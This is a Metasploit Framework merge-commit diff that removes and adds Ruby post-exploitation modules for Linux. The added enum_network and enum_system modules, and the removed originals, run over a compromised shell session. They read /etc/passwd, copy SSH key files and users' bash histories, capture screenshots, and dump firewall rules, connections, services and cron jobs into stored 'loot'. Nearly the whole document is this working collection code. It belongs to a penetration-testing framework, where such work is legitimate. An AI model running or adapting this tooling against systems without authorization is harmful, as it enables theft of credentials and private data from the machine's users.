Merge branch 'my-branch' of https://github.com/ohdae/metasploit-framework
sinn3r
commit
9d7e22876c
|
|
@ -1,79 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Cron Job Enumeration',
|
||||
'Description' => %q{
|
||||
This module lists cron jobs for each user on the machine and saves it to loot.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>',
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
if is_root?
|
||||
print_status("Enumerating as root")
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1").split("\n")
|
||||
cron_data = ""
|
||||
users.each do |user|
|
||||
cron_data += "*****Listing cron jobs for #{user}*****\n"
|
||||
cron_data += execute("crontab -u #{user} -l") + "\n\n"
|
||||
end
|
||||
else
|
||||
user = execute("/usr/bin/whoami")
|
||||
user.strip! if user
|
||||
print_status("Enumerating as #{user}")
|
||||
cron_data = "***** Listing cron jobs for #{user} *****\n\n"
|
||||
cron_data += execute("crontab -l")
|
||||
end
|
||||
|
||||
# Save cron data to loot
|
||||
save("Cron jobs", cron_data)
|
||||
|
||||
end
|
||||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.cron"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -1,237 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather System Information',
|
||||
'Description' => %q{
|
||||
This module gathers basic system information from Linux systems.
|
||||
It enumerates users, hashes, services, network config, routing table, installed packages,
|
||||
screenshot, and bash_history.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>',
|
||||
'sinn3r', #Modified the original, and more testing
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>' # get_packages and get_services
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ "shell" ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
host = get_host
|
||||
user = execute("/usr/bin/whoami")
|
||||
print_status("Module running as #{user}")
|
||||
|
||||
|
||||
# Collect data
|
||||
distro = get_sysinfo
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
print_status("Collecting data...")
|
||||
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
||||
nconfig = execute("/sbin/ifconfig -a")
|
||||
routes = execute("/sbin/route")
|
||||
mount = execute("/bin/mount -l")
|
||||
iptables = execute("/sbin/iptables -L")
|
||||
iptables_nat = execute("/sbin/iptables -L -t nat")
|
||||
iptables_man = execute("/sbin/iptables -L -t mangle")
|
||||
resolv = cat_file("/etc/resolv.conf")
|
||||
sshd_conf = cat_file("/etc/ssh/sshd_config")
|
||||
hosts = cat_file("/etc/hosts")
|
||||
pwd = cat_file("/etc/passwd")
|
||||
|
||||
screenshot = get_screenshot
|
||||
ssh_keys = get_ssh_keys
|
||||
installed_pkg = get_packages(distro[:distro])
|
||||
installed_svc = get_services(distro[:distro])
|
||||
get_bash_history(users, user)
|
||||
|
||||
|
||||
# Save Enumerated data
|
||||
save("Screenshot", screenshot, "image/x-xwd") if screenshot
|
||||
save("Linux version", distro)
|
||||
save("User accounts", users)
|
||||
save("Network config", nconfig)
|
||||
save("Route table", routes)
|
||||
save("Mounted drives", mount)
|
||||
save("Firewall config", iptables + iptables_nat + iptables_man)
|
||||
save("DNS config", resolv)
|
||||
save("SSHD config", sshd_conf)
|
||||
save("Host file", hosts)
|
||||
save("SSH keys", ssh_keys) unless ssh_keys.empty?
|
||||
save("Linux Installed Packages", installed_pkg)
|
||||
save("Linux Configured Services", installed_svc)
|
||||
|
||||
end
|
||||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = (ctype == 'image/x-xwd') ? "host.linux.screenshot" : "linux.enum"
|
||||
vprint_status(msg)
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
# Get host name
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_screenshot
|
||||
vprint_status("Capturing screenshot")
|
||||
xwd_filename = "/tmp/" + Rex::Text.rand_text_alpha(5) + ".xwd"
|
||||
|
||||
#Take a snapshot and save it.
|
||||
#We leave the conversion up to the user. Tools such as gimp can open this file format.
|
||||
capture = execute("xwd -root -display :0.0 -out #{xwd_filename}")
|
||||
return nil if capture =~ /Command not found/i or capture =~ /refused by server/
|
||||
|
||||
#Download the screenshot
|
||||
xwd = read_file(xwd_filename)
|
||||
|
||||
#Clean up
|
||||
execute("rm #{xwd_filename}")
|
||||
|
||||
return xwd
|
||||
end
|
||||
|
||||
def get_ssh_keys
|
||||
keys = []
|
||||
|
||||
#Look for .ssh folder, "~/" might not work everytime
|
||||
dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
|
||||
ssh_base = ''
|
||||
dirs.each do |d|
|
||||
if d =~ /(^\/)(.*)\.ssh$/
|
||||
ssh_base = d
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# We didn't find .ssh :-(
|
||||
return [] if ssh_base == ''
|
||||
|
||||
# List all the files under .ssh/
|
||||
files = execute("/bin/ls -a #{ssh_base}").chomp.split()
|
||||
|
||||
files.each do |k|
|
||||
next if k =~/^(\.+)$/
|
||||
this_key = cat_file("#{ssh_base}/#{k}")
|
||||
keys << this_key
|
||||
end
|
||||
|
||||
return keys
|
||||
end
|
||||
|
||||
def get_bash_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/root/.bash_history")
|
||||
else
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/home/#{u}/.bash_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
hist = cat_file("/home/#{user}/.bash_history")
|
||||
vprint_status(hist)
|
||||
save("History for #{user}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
def get_packages(distro)
|
||||
packages_installed = nil
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle/
|
||||
packages_installed = cmd_exec("rpm -qa")
|
||||
elsif distro =~ /slackware/
|
||||
packages_installed = cmd_exec("ls /var/log/packages")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
packages_installed = cmd_exec("dpkg -l")
|
||||
elsif distro =~ /gentoo/
|
||||
packages_installed = cmd_exec("equery list")
|
||||
elsif distro =~ /arch/
|
||||
packages_installed = cmd_exec("/usr/bin/pacman -Q")
|
||||
else
|
||||
print_error("Could not determine package manager to get list of installed packages")
|
||||
end
|
||||
return packages_installed
|
||||
end
|
||||
|
||||
def get_services(distro)
|
||||
services_installed = ""
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle/
|
||||
services_installed = cmd_exec("/sbin/chkconfig --list")
|
||||
elsif distro =~ /slackware/
|
||||
services_installed << "\nEnabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'*$\'")
|
||||
services_installed << "\n\nDisabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
services_installed = cmd_exec("/usr/bin/service --status-all")
|
||||
elsif distro =~ /gentoo/
|
||||
services_installed = cmd_exec("/bin/rc-status --all")
|
||||
else
|
||||
print_error("Could not determine the Linux Distribution to get list of configured services")
|
||||
end
|
||||
return services_installed
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,151 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Network Information',
|
||||
'Description' => %q{
|
||||
This module gathers network information from the target system
|
||||
IPTables rules, interfaces, wireless information, open and listening
|
||||
ports, active network connections, DNS information and SSH information.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'ohdae <bindshell@live.com>', # minor additions, modifications & testing
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
host = get_host
|
||||
user = execute("/usr/bin/whoami")
|
||||
print_status("Module running as #{user}")
|
||||
|
||||
|
||||
# Collect data
|
||||
distro = get_sysinfo
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
print_status("Collecting data...")
|
||||
|
||||
nconfig = execute("/sbin/ifconfig -a")
|
||||
routes = execute("/sbin/route -e")
|
||||
iptables = execute("/sbin/iptables -L")
|
||||
iptables_nat = execute("/sbin/iptables -L -t nat")
|
||||
iptables_man = execute("/sbin/iptables -L -t mangle")
|
||||
resolv = cat_file("/etc/resolv.conf")
|
||||
sshd_conf = cat_file("/etc/ssh/sshd_config")
|
||||
hosts = cat_file("/etc/hosts")
|
||||
connections = execute("/usr/bin/lsof -nPi")
|
||||
wireless = execute("/sbin/iwconfig")
|
||||
open_ports = execute("/bin/netstat -tulpn")
|
||||
updown = execute("ls -R /etc/network")
|
||||
|
||||
ssh_keys = get_ssh_keys
|
||||
|
||||
# Save Enumerated data
|
||||
save("Network config", nconfig)
|
||||
save("Route table", routes)
|
||||
save("Firewall config", iptables + iptables_nat + iptables_man)
|
||||
save("DNS config", resolv)
|
||||
save("SSHD config", sshd_conf)
|
||||
save("Host file", hosts)
|
||||
save("SSH keys", ssh_keys) unless ssh_keys.empty?
|
||||
save("Active connections", connections)
|
||||
save("Wireless information", wireless)
|
||||
save("Listening ports", open_ports)
|
||||
save("If-Up/If-Down", updown)
|
||||
|
||||
|
||||
end
|
||||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.network"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
# Get host name
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_ssh_keys
|
||||
keys = []
|
||||
|
||||
#Look for .ssh folder, "~/" might not work everytime
|
||||
dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
|
||||
ssh_base = ''
|
||||
dirs.each do |d|
|
||||
if d =~ /(^\/)(.*)\.ssh$/
|
||||
ssh_base = d
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# We didn't find .ssh :-(
|
||||
return [] if ssh_base == ''
|
||||
|
||||
# List all the files under .ssh/
|
||||
files = execute("/bin/ls -a #{ssh_base}").chomp.split()
|
||||
|
||||
files.each do |k|
|
||||
next if k =~/^(\.+)$/
|
||||
this_key = cat_file("#{ssh_base}/#{k}")
|
||||
keys << this_key
|
||||
end
|
||||
|
||||
return keys
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
@ -1,77 +0,0 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Installed Packages',
|
||||
'Description' => %q{ Post Module to get installed packages on a Linux System},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
|
||||
|
||||
# Print the info
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
installed_pkg = get_pakages(distro[:distro])
|
||||
pkg_loot = store_loot("linux.packages", "text/plain", session, installed_pkg, "installed_packages.txt", "Linux Installed Packages")
|
||||
print_status("Package list saved to loot file: #{pkg_loot}")
|
||||
if datastore['VERBOSE']
|
||||
print_good("Packages:")
|
||||
|
||||
# Print the Packages
|
||||
installed_pkg.each_line do |p|
|
||||
print_good("\t#{p.chomp}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_pakages(distro)
|
||||
packages_installed = nil
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
packages_installed = cmd_exec("rpm -qa")
|
||||
elsif distro =~ /slackware/
|
||||
packages_installed = cmd_exec("ls /var/log/packages")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
packages_installed = cmd_exec("dpkg -l")
|
||||
elsif distro =~ /gentoo/
|
||||
packages_installed = cmd_exec("equery list")
|
||||
elsif distro =~ /arch/
|
||||
packages_installed = cmd_exec("/usr/bin/pacman -Q")
|
||||
else
|
||||
print_error("Could not determine package manager to get list of installed packages")
|
||||
end
|
||||
return packages_installed
|
||||
end
|
||||
end
|
||||
|
|
@ -1,81 +0,0 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Configured Services',
|
||||
'Description' => %q{ Post Module to enumerate Services on a Linux System},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
|
||||
|
||||
# Print the info
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
installed_pkg = get_services(distro[:distro])
|
||||
pkg_loot = store_loot("linux.services", "text/plain", session, installed_pkg, "configured_services.txt", "Linux Configured Services")
|
||||
print_status("Service list saved to loot file: #{pkg_loot}")
|
||||
if datastore['VERBOSE']
|
||||
print_good("Services:")
|
||||
|
||||
# Print the Packages
|
||||
installed_pkg.each_line do |p|
|
||||
print_good("\t#{p.chomp}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_services(distro)
|
||||
services_installed = ""
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
services_installed = cmd_exec("/sbin/chkconfig --list")
|
||||
elsif distro =~ /slackware/
|
||||
services_installed << "\nEnabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'*$\'")
|
||||
services_installed << "\n\nDisabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
services_installed = cmd_exec("/usr/bin/service --status-all")
|
||||
elsif distro =~ /gentoo/
|
||||
services_installed = cmd_exec("/bin/rc-status --all")
|
||||
elsif distro =~ /arch/
|
||||
services_installed = cmd_exec("/bin/egrep '^DAEMONS' /etc/rc.conf")
|
||||
else
|
||||
print_error("Could not determine the Linux Distribution to get list of configured services")
|
||||
end
|
||||
return services_installed
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,192 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather System & User Information',
|
||||
'Description' => %q{ This module gathers system information. We collect
|
||||
installed packages, installed services, mount information,
|
||||
user list, user bash history and cron jobs
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>', # get_packages and get_services
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>', # get_cron and original enum_linux
|
||||
'sinn3r', # Testing and modification of original enum_linux
|
||||
'ohdae <bindshell@live.com>', # Combined separate mods, modifications and testing
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
|
||||
|
||||
# Print the info
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
||||
user = execute("/usr/bin/whoami")
|
||||
|
||||
installed_pkg = get_packages(distro[:distro])
|
||||
installed_svc = get_services(distro[:distro])
|
||||
|
||||
mount = execute("/bin/mount -l")
|
||||
get_bash_history(users, user)
|
||||
crons = get_crons(users, user)
|
||||
|
||||
save("Linux version", distro)
|
||||
save("User accounts", users)
|
||||
save("Installed Packages", installed_pkg)
|
||||
save("Running Services", installed_svc)
|
||||
save("Cron jobs", crons)
|
||||
save("Mount", mount)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.system"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_packages(distro)
|
||||
packages_installed = nil
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
packages_installed = execute("rpm -qa")
|
||||
elsif distro =~ /slackware/
|
||||
packages_installed = execute("ls /var/log/packages")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
packages_installed = execute("dpkg -l")
|
||||
elsif distro =~ /gentoo/
|
||||
packages_installed = execute("equery list")
|
||||
elsif distro =~ /arch/
|
||||
packages_installed = execute("/usr/bin/pacman -Q")
|
||||
else
|
||||
print_error("Could not determine package manager to get list of installed packages")
|
||||
end
|
||||
return packages_installed
|
||||
end
|
||||
|
||||
def get_services(distro)
|
||||
services_installed = ""
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
services_installed = execute("/sbin/chkconfig --list")
|
||||
elsif distro =~ /slackware/
|
||||
services_installed << "\nEnabled:\n*************************\n"
|
||||
services_installed << execute("ls -F /etc/rc.d | /bin/grep \'*$\'")
|
||||
services_installed << "\n\nDisabled:\n*************************\n"
|
||||
services_installed << execute("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
services_installed = execute("/usr/bin/service --status-all")
|
||||
elsif distro =~ /gentoo/
|
||||
services_installed = execute("/bin/rc-status --all")
|
||||
elsif distro =~ /arch/
|
||||
services_installed = execute("/bin/egrep '^DAEMONS' /etc/rc.conf")
|
||||
else
|
||||
print_error("Could not determine the Linux Distribution to get list of configured services")
|
||||
end
|
||||
return services_installed
|
||||
end
|
||||
|
||||
def get_crons(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Enumerating as root")
|
||||
cron_data = ""
|
||||
users.each do |u|
|
||||
cron_data += "*****Listing cron jobs for #{u}*****\n"
|
||||
cron_data += execute("crontab -u #{u} -l") + "\n\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
vprint_status("Enumerating as #{user}")
|
||||
cron_data = "***** Listing cron jobs for #{user} *****\n\n"
|
||||
cron_data += execute("crontab -l")
|
||||
end
|
||||
|
||||
# Save cron data to loot
|
||||
return cron_data
|
||||
|
||||
end
|
||||
|
||||
def get_bash_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/root/.bash_history")
|
||||
else
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/home/#{u}/.bash_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
hist = cat_file("/home/#{user}/.bash_history")
|
||||
vprint_status(hist)
|
||||
save("History for #{user}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue